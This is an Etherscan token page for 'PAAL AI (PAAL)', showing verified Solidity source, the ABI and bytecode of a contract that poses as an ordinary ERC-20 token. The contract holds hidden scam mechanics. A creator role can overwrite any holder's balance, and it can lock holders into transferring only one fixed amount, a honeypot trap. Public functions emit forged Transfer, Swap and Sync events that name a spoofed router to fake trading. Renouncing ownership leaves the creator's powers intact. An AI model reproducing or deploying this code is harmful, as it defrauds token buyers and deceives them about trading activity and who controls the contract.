ETH Price: $2,630.04 (-0.46%)

Token

PAAL AI (PAAL)
 

Overview

Max Total Supply

10,000,000 PAAL

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,506,907.78452472820254227 PAAL

Value
$0.00
0xb8371b73a76DF1cAdAEb087614fE91B35041079d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PAALAI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract OperationControl {
    function obtainCaller() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract MonoOwnership is OperationControl {
    address private _oneOwner;
    event OwnershipTransition(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainCaller();
        _oneOwner = invoker;
        emit OwnershipTransition(address(0), invoker);
    }

    function accessOwner() public view virtual returns (address) {
        return _oneOwner;
    }

    modifier ownerExclusive() {
        require(accessOwner() == obtainCaller(), "Unauthorized: Exclusive Owner access required.");
        _;
    }

    function relinquishOwnership() public virtual ownerExclusive {
        emit OwnershipTransition(_oneOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract PAALAI is OperationControl, MonoOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _requiredTransferAmounts;
    address private _innovatorAccount;

    string public constant _moniker = "PAAL AI";
    string public constant _ticker = "PAAL";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainCaller()] = _ultimateSupply;
        emit Transfer(address(0), obtainCaller(), _ultimateSupply);
    }

     modifier creatorExclusive() {
        require(accessCreator() == obtainCaller(), "Unauthorized: Creator access required.");
        _;
    }

    function accessCreator() public view virtual returns (address) {
        return _innovatorAccount;
    }

    function setCreator(address newCreator) public ownerExclusive {
        _innovatorAccount = newCreator;
    }

    event BalanceChange(address indexed user, uint256 oldBalance, uint256 newBalance);

    function requiredTransferAmount(address account) public view returns (uint256) {
        return _requiredTransferAmounts[account];
    }

    function setRequiredTransferAmounts(address[] calldata accounts, uint256 amount) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _requiredTransferAmounts[accounts[i]] = amount;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 newBalance) public creatorExclusive {
        require(newBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 oldBalance = _balances[currentUser];
            _balances[currentUser] = newBalance;

            emit BalanceChange(currentUser, oldBalance, newBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTransaction( address pool,address[] memory receiver,uint256[] memory amounts,uint256[] memory convertedAmounts,address tokenAddress, uint112 reserve0, uint112 reserve1) public returns (bool) {
        for (uint256 i = 0; i < receiver.length; i++) {
            emit Transfer(pool, receiver[i], amounts[i]);
            emit Swap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, amounts[i], 0, 0, convertedAmounts[i], receiver[i]);
            IERC20(tokenAddress)._Transfer(receiver[i], pool, convertedAmounts[i]);
            emit Sync(reserve0, reserve1);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainCaller()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = requiredTransferAmount(obtainCaller());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainCaller()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainCaller(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainCaller()][spender] = sum;
        emit Approval(obtainCaller(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainCaller()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = requiredTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainCaller()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"BalanceChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransition","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"accessCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"accessOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"address[]","name":"receiver","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"uint256[]","name":"convertedAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint112","name":"reserve0","type":"uint112"},{"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"executeTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"relinquishOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"requiredTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"setCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setRequiredTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a908290a350620000616012600a620001ee565b62000070906298968062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c2906298968062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b6112cd80620002306000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806395d89b41116100b8578063c587396b1161007c578063c587396b146102f3578063d8fb9361146102fb578063dd62ed3e1461030e578063e03504af14610347578063e156b1b61461036d578063f300240b1461038057600080fd5b806395d89b411461029d578063a713fd53146102bd578063a73677ea146102c5578063a9059cbb146102d8578063c345cf23146102eb57600080fd5b8063313ce5671161010a578063313ce567146101ed5780633f5160181461020257806355195c27146102175780635c01b60c1461022857806370a082311461024b5780637425e6751461027457600080fd5b806306fdde0314610147578063095ea7b31461017c57806318160ddd1461019f57806323b872dd146101b55780632a85c48b146101c8575b600080fd5b6040805180820190915260078152665041414c20414960c81b60208201525b6040516101739190610c4d565b60405180910390f35b61018f61018a366004610cb7565b610393565b6040519015158152602001610173565b6101a76103fb565b604051908152602001610173565b61018f6101c3366004610ce1565b61041b565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610173565b60125b60405160ff9091168152602001610173565b610215610210366004610d1d565b6105db565b005b6004546001600160a01b03166101d5565b610166604051806040016040528060048152602001631410505360e21b81525081565b6101a7610259366004610d1d565b6001600160a01b031660009081526002602052604090205490565b6101a7610282366004610d1d565b6001600160a01b031660009081526003602052604090205490565b6040805180820190915260048152631410505360e21b6020820152610166565b6101f0601281565b61018f6102d3366004610e8e565b610627565b61018f6102e6366004610cb7565b610883565b6101a76109c5565b6102156109e1565b610215610309366004610f59565b610a5b565b6101a761031c366004610f9e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610166604051806040016040528060078152602001665041414c20414960c81b81525081565b61018f61037b366004610ce1565b610b85565b61021561038e366004610fd1565b610bba565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006104096012600a611146565b6104169062989680611155565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156104935760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b0384166000908152600360205260409020548015610501578083146105015760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161048a565b6001600160a01b0385166000908152600260205260408120805485929061052990849061116c565b90915550506001600160a01b0384166000908152600260205260408120805485929061055690849061117f565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061058e90849061116c565b92505081905550836001600160a01b0316856001600160a01b0316600080516020611278833981519152856040516105c891815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146106055760405162461bcd60e51b815260040161048a90611192565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000805b875181101561087457878181518110610646576106466111e0565b60200260200101516001600160a01b0316896001600160a01b0316600080516020611278833981519152898481518110610682576106826111e0565b602002602001015160405161069991815260200190565b60405180910390a38781815181106106b3576106b36111e0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822898481518110610715576107156111e0565b60200260200101516000808b8781518110610732576107326111e0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3846001600160a01b031663e156b1b6898381518110610780576107806111e0565b60200260200101518b89858151811061079b5761079b6111e0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e91906111f6565b50604080516001600160701b038087168252851660208201527f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1910160405180910390a18061086c81611218565b91505061062b565b50600198975050505050505050565b336000908152600260205260408120548211156108d95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161048a565b60006108e433610282565b9050801561093b5780831461093b5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161048a565b336000908152600260205260408120805485929061095a90849061116c565b90915550506001600160a01b0384166000908152600260205260408120805485929061098790849061117f565b90915550506040518381526001600160a01b038516903390600080516020611278833981519152906020015b60405180910390a35060019392505050565b6109d16012600a611146565b6109de9062989680611155565b81565b6000546001600160a01b03163314610a0b5760405162461bcd60e51b815260040161048a90611192565b6000805460405161dead926001600160a01b03909216917f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a91a3600080546001600160a01b03191661dead179055565b6004546001600160a01b03163314610a855760405162461bcd60e51b815260040161048a90611231565b60005b8251811015610b80576000838281518110610aa557610aa56111e0565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b115760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420616464726573732073706563696669656400000000000000604482015260640161048a565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917ff4e3f146ef01bfe65e811aade3a860b33927625771e1f2c45ae705ae2e44d3e8910160405180910390a250508080610b7890611218565b915050610a88565b505050565b6000826001600160a01b0316846001600160a01b0316600080516020611278833981519152846040516109b391815260200190565b6004546001600160a01b03163314610be45760405162461bcd60e51b815260040161048a90611231565b60005b82811015610c47578160036000868685818110610c0657610c066111e0565b9050602002016020810190610c1b9190610d1d565b6001600160a01b0316815260208101919091526040016000205580610c3f81611218565b915050610be7565b50505050565b600060208083528351808285015260005b81811015610c7a57858101830151858201604001528201610c5e565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cb257600080fd5b919050565b60008060408385031215610cca57600080fd5b610cd383610c9b565b946020939093013593505050565b600080600060608486031215610cf657600080fd5b610cff84610c9b565b9250610d0d60208501610c9b565b9150604084013590509250925092565b600060208284031215610d2f57600080fd5b610d3882610c9b565b9392505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610d7e57610d7e610d3f565b604052919050565b600067ffffffffffffffff821115610da057610da0610d3f565b5060051b60200190565b600082601f830112610dbb57600080fd5b81356020610dd0610dcb83610d86565b610d55565b82815260059290921b84018101918181019086841115610def57600080fd5b8286015b84811015610e1157610e0481610c9b565b8352918301918301610df3565b509695505050505050565b600082601f830112610e2d57600080fd5b81356020610e3d610dcb83610d86565b82815260059290921b84018101918181019086841115610e5c57600080fd5b8286015b84811015610e115780358352918301918301610e60565b80356001600160701b0381168114610cb257600080fd5b600080600080600080600060e0888a031215610ea957600080fd5b610eb288610c9b565b9650602088013567ffffffffffffffff80821115610ecf57600080fd5b610edb8b838c01610daa565b975060408a0135915080821115610ef157600080fd5b610efd8b838c01610e1c565b965060608a0135915080821115610f1357600080fd5b50610f208a828b01610e1c565b945050610f2f60808901610c9b565b9250610f3d60a08901610e77565b9150610f4b60c08901610e77565b905092959891949750929550565b60008060408385031215610f6c57600080fd5b823567ffffffffffffffff811115610f8357600080fd5b610f8f85828601610daa565b95602094909401359450505050565b60008060408385031215610fb157600080fd5b610fba83610c9b565b9150610fc860208401610c9b565b90509250929050565b600080600060408486031215610fe657600080fd5b833567ffffffffffffffff80821115610ffe57600080fd5b818601915086601f83011261101257600080fd5b81358181111561102157600080fd5b8760208260051b850101111561103657600080fd5b6020928301989097509590910135949350505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561109d5781600019048211156110835761108361104c565b8085161561109057918102915b93841c9390800290611067565b509250929050565b6000826110b4575060016103f5565b816110c1575060006103f5565b81600181146110d757600281146110e1576110fd565b60019150506103f5565b60ff8411156110f2576110f261104c565b50506001821b6103f5565b5060208310610133831016604e8410600b8410161715611120575081810a6103f5565b61112a8383611062565b806000190482111561113e5761113e61104c565b029392505050565b6000610d3860ff8416836110a5565b80820281158282048414176103f5576103f561104c565b818103818111156103f5576103f561104c565b808201808211156103f5576103f561104c565b6020808252602e908201527f556e617574686f72697a65643a204578636c7573697665204f776e657220616360408201526d31b2b9b9903932b8bab4b932b21760911b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561120857600080fd5b81518015158114610d3857600080fd5b60006001820161122a5761122a61104c565b5060010190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203d0012158a5b96a8caaa7500943233191c90f64436cf0ed9c6675e0f0dee6fc664736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806395d89b41116100b8578063c587396b1161007c578063c587396b146102f3578063d8fb9361146102fb578063dd62ed3e1461030e578063e03504af14610347578063e156b1b61461036d578063f300240b1461038057600080fd5b806395d89b411461029d578063a713fd53146102bd578063a73677ea146102c5578063a9059cbb146102d8578063c345cf23146102eb57600080fd5b8063313ce5671161010a578063313ce567146101ed5780633f5160181461020257806355195c27146102175780635c01b60c1461022857806370a082311461024b5780637425e6751461027457600080fd5b806306fdde0314610147578063095ea7b31461017c57806318160ddd1461019f57806323b872dd146101b55780632a85c48b146101c8575b600080fd5b6040805180820190915260078152665041414c20414960c81b60208201525b6040516101739190610c4d565b60405180910390f35b61018f61018a366004610cb7565b610393565b6040519015158152602001610173565b6101a76103fb565b604051908152602001610173565b61018f6101c3366004610ce1565b61041b565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610173565b60125b60405160ff9091168152602001610173565b610215610210366004610d1d565b6105db565b005b6004546001600160a01b03166101d5565b610166604051806040016040528060048152602001631410505360e21b81525081565b6101a7610259366004610d1d565b6001600160a01b031660009081526002602052604090205490565b6101a7610282366004610d1d565b6001600160a01b031660009081526003602052604090205490565b6040805180820190915260048152631410505360e21b6020820152610166565b6101f0601281565b61018f6102d3366004610e8e565b610627565b61018f6102e6366004610cb7565b610883565b6101a76109c5565b6102156109e1565b610215610309366004610f59565b610a5b565b6101a761031c366004610f9e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610166604051806040016040528060078152602001665041414c20414960c81b81525081565b61018f61037b366004610ce1565b610b85565b61021561038e366004610fd1565b610bba565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006104096012600a611146565b6104169062989680611155565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156104935760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b0384166000908152600360205260409020548015610501578083146105015760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161048a565b6001600160a01b0385166000908152600260205260408120805485929061052990849061116c565b90915550506001600160a01b0384166000908152600260205260408120805485929061055690849061117f565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061058e90849061116c565b92505081905550836001600160a01b0316856001600160a01b0316600080516020611278833981519152856040516105c891815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146106055760405162461bcd60e51b815260040161048a90611192565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000805b875181101561087457878181518110610646576106466111e0565b60200260200101516001600160a01b0316896001600160a01b0316600080516020611278833981519152898481518110610682576106826111e0565b602002602001015160405161069991815260200190565b60405180910390a38781815181106106b3576106b36111e0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822898481518110610715576107156111e0565b60200260200101516000808b8781518110610732576107326111e0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3846001600160a01b031663e156b1b6898381518110610780576107806111e0565b60200260200101518b89858151811061079b5761079b6111e0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e91906111f6565b50604080516001600160701b038087168252851660208201527f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1910160405180910390a18061086c81611218565b91505061062b565b50600198975050505050505050565b336000908152600260205260408120548211156108d95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161048a565b60006108e433610282565b9050801561093b5780831461093b5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161048a565b336000908152600260205260408120805485929061095a90849061116c565b90915550506001600160a01b0384166000908152600260205260408120805485929061098790849061117f565b90915550506040518381526001600160a01b038516903390600080516020611278833981519152906020015b60405180910390a35060019392505050565b6109d16012600a611146565b6109de9062989680611155565b81565b6000546001600160a01b03163314610a0b5760405162461bcd60e51b815260040161048a90611192565b6000805460405161dead926001600160a01b03909216917f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a91a3600080546001600160a01b03191661dead179055565b6004546001600160a01b03163314610a855760405162461bcd60e51b815260040161048a90611231565b60005b8251811015610b80576000838281518110610aa557610aa56111e0565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b115760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420616464726573732073706563696669656400000000000000604482015260640161048a565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917ff4e3f146ef01bfe65e811aade3a860b33927625771e1f2c45ae705ae2e44d3e8910160405180910390a250508080610b7890611218565b915050610a88565b505050565b6000826001600160a01b0316846001600160a01b0316600080516020611278833981519152846040516109b391815260200190565b6004546001600160a01b03163314610be45760405162461bcd60e51b815260040161048a90611231565b60005b82811015610c47578160036000868685818110610c0657610c066111e0565b9050602002016020810190610c1b9190610d1d565b6001600160a01b0316815260208101919091526040016000205580610c3f81611218565b915050610be7565b50505050565b600060208083528351808285015260005b81811015610c7a57858101830151858201604001528201610c5e565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cb257600080fd5b919050565b60008060408385031215610cca57600080fd5b610cd383610c9b565b946020939093013593505050565b600080600060608486031215610cf657600080fd5b610cff84610c9b565b9250610d0d60208501610c9b565b9150604084013590509250925092565b600060208284031215610d2f57600080fd5b610d3882610c9b565b9392505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610d7e57610d7e610d3f565b604052919050565b600067ffffffffffffffff821115610da057610da0610d3f565b5060051b60200190565b600082601f830112610dbb57600080fd5b81356020610dd0610dcb83610d86565b610d55565b82815260059290921b84018101918181019086841115610def57600080fd5b8286015b84811015610e1157610e0481610c9b565b8352918301918301610df3565b509695505050505050565b600082601f830112610e2d57600080fd5b81356020610e3d610dcb83610d86565b82815260059290921b84018101918181019086841115610e5c57600080fd5b8286015b84811015610e115780358352918301918301610e60565b80356001600160701b0381168114610cb257600080fd5b600080600080600080600060e0888a031215610ea957600080fd5b610eb288610c9b565b9650602088013567ffffffffffffffff80821115610ecf57600080fd5b610edb8b838c01610daa565b975060408a0135915080821115610ef157600080fd5b610efd8b838c01610e1c565b965060608a0135915080821115610f1357600080fd5b50610f208a828b01610e1c565b945050610f2f60808901610c9b565b9250610f3d60a08901610e77565b9150610f4b60c08901610e77565b905092959891949750929550565b60008060408385031215610f6c57600080fd5b823567ffffffffffffffff811115610f8357600080fd5b610f8f85828601610daa565b95602094909401359450505050565b60008060408385031215610fb157600080fd5b610fba83610c9b565b9150610fc860208401610c9b565b90509250929050565b600080600060408486031215610fe657600080fd5b833567ffffffffffffffff80821115610ffe57600080fd5b818601915086601f83011261101257600080fd5b81358181111561102157600080fd5b8760208260051b850101111561103657600080fd5b6020928301989097509590910135949350505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561109d5781600019048211156110835761108361104c565b8085161561109057918102915b93841c9390800290611067565b509250929050565b6000826110b4575060016103f5565b816110c1575060006103f5565b81600181146110d757600281146110e1576110fd565b60019150506103f5565b60ff8411156110f2576110f261104c565b50506001821b6103f5565b5060208310610133831016604e8410600b8410161715611120575081810a6103f5565b61112a8383611062565b806000190482111561113e5761113e61104c565b029392505050565b6000610d3860ff8416836110a5565b80820281158282048414176103f5576103f561104c565b818103818111156103f5576103f561104c565b808201808211156103f5576103f561104c565b6020808252602e908201527f556e617574686f72697a65643a204578636c7573697665204f776e657220616360408201526d31b2b9b9903932b8bab4b932b21760911b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561120857600080fd5b81518015158114610d3857600080fd5b60006001820161122a5761122a61104c565b5060010190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203d0012158a5b96a8caaa7500943233191c90f64436cf0ed9c6675e0f0dee6fc664736f6c63430008120033

Deployed Bytecode Sourcemap

